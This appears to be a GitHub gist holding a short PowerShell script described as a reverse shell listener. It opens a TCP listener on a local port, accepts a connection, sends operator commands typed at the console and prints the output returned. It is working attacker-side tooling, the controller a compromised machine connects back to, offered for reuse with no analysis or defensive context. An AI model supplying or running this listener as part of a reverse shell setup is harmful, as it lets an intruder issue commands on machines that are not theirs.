Skip to content

Instantly share code, notes, and snippets.

@staaldraad
Created October 3, 2016 14:49
Show Gist options
  • Star 13 You must be signed in to star a gist
  • Fork 7 You must be signed in to fork a gist
  • Save staaldraad/8473da7f2dfed28b2216b15ca6ebad11 to your computer and use it in GitHub Desktop.
Save staaldraad/8473da7f2dfed28b2216b15ca6ebad11 to your computer and use it in GitHub Desktop.
A reverse shell listener in powershell
$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);
if($socket -eq $null){
exit 1
}
$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"
$stream = $client.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 2048;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$cmd = read-host
$writer.WriteLine($cmd)
$writer.Flush();
if($cmd -eq "exit"){
break
}
$read = $null;
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 2048)
$out = $encoding.GetString($buffer, 0, $read)
Write-Output $out
}
} While ($client.Connected -eq $true)
$socket.Stop()
$client.close();
$stream.Dispose()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment